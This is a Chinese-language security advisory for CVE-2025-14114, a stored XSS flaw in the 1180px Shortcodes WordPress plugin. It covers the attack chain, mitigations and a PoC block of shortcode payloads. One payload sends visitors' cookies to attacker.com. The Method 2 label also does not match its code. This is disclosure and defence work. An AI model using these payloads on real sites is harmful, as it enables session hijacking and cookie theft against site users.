CVE-2025-14114 WordPress 1180px Shortcodes插件存储型XSS漏洞

漏洞信息

漏洞编号

CVE-2025-14114

漏洞类型

存储型跨站脚本攻击（Stored XSS）

CVSS评分

6.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

1180px Shortcodes WordPress插件

漏洞概述

CVE-2025-14114是WordPress 1180px Shortcodes插件中的一个存储型跨站脚本（Stored Cross-Site Scripting）漏洞。该插件用于在WordPress网站上添加1180px相关的短代码功能。漏洞根源在于插件对用户输入的「class」短代码属性缺乏充分的输入清理和输出转义处理。攻击者利用此漏洞可以在网页中注入任意JavaScript脚本，这些恶意脚本会被永久存储在数据库中。当其他用户访问包含恶意代码的页面时，注入的脚本会自动执行，可能导致会话劫持、敏感信息窃取、网页篡改等严重后果。由于该插件版本1.1.1及之前所有版本均受影响，全球大量使用此插件的WordPress网站面临安全风险。

技术细节

漏洞位于1180px.php文件第115行附近的短代码处理逻辑中。插件在注册和渲染[1180px]等短代码时，直接将用户提供的class属性值插入到HTML元素的class属性中，而未进行任何过滤或转义处理。攻击者可以通过构造包含恶意JavaScript代码的class属性值来触发XSS。例如，使用onerror事件处理器配合img标签或使用javascript:协议前缀等方式注入脚本。由于WordPress的短代码机制会自动解析并输出内容，被注入的恶意代码会被永久保存在文章/页面内容中，形成存储型XSS。攻击者需要至少具有Contributor级别的用户权限即可利用此漏洞，这意味着即使是非管理员用户也能发起攻击，大大降低了利用门槛。

攻击链分析

STEP 1

侦察阶段

攻击者识别目标网站使用的WordPress版本和1180px Shortcodes插件版本（<=1.1.1），确认漏洞存在

STEP 2

权限获取

攻击者获取WordPress Contributor级别账户，或通过其他方式（如社会工程学、凭证泄露）获得低权限账户访问

STEP 3

恶意载荷注入

攻击者在文章或页面中插入包含XSS payload的[1180px]短代码，使用精心构造的class属性注入恶意JavaScript代码

STEP 4

数据持久化

含有恶意短代码的内容被保存到WordPress数据库中，payload以持久化形式存储

STEP 5

触发执行

当其他用户（管理员、编辑、访客等）访问包含该短代码的页面时，浏览器解析HTML并执行注入的恶意脚本

STEP 6

攻击达成

恶意脚本执行后可窃取用户会话Cookie、劫持账户、篡改页面内容或进行进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

// CVE-2025-14114 PoC - WordPress 1180px Shortcodes Stored XSS
// Author: Wordfence Security Team
// Affected: 1180px Shortcodes Plugin <= 1.1.1

// Method 1: Using onerror event with img tag
[1180px class='" onerror="alert(String.fromCharCode(88,83,83))" data-x="']

// Method 2: Using javascript: protocol in href
[1180px class='xss' onclick='alert("XSS")']

// Method 3: Using SVG element
[1180px class='"><svg/onload=alert(document.domain)>]

// Method 4: Exfiltrate cookies (real attack scenario)
[1180px class='"><script>fetch(`https://attacker.com/steal?c=`+document.cookie)</script>']

// The malicious script will execute when any user views the page containing the shortcode

影响范围

1180px Shortcodes plugin <= 1.1.1（所有版本）

防御指南

临时缓解措施

如果无法立即更新插件，可采取以下临时缓解措施：1) 临时禁用1180px Shortcodes插件直到官方补丁发布；2) 通过Web应用防火墙（WAF）规则拦截包含可疑class属性的短代码请求；3) 限制低权限用户（订阅者、贡献者）创建和编辑内容的权限；4) 实施严格的Content Security Policy限制内联脚本执行；5) 监控网站日志关注异常的短代码使用行为。建议优先升级到插件最新版本以彻底修复此漏洞。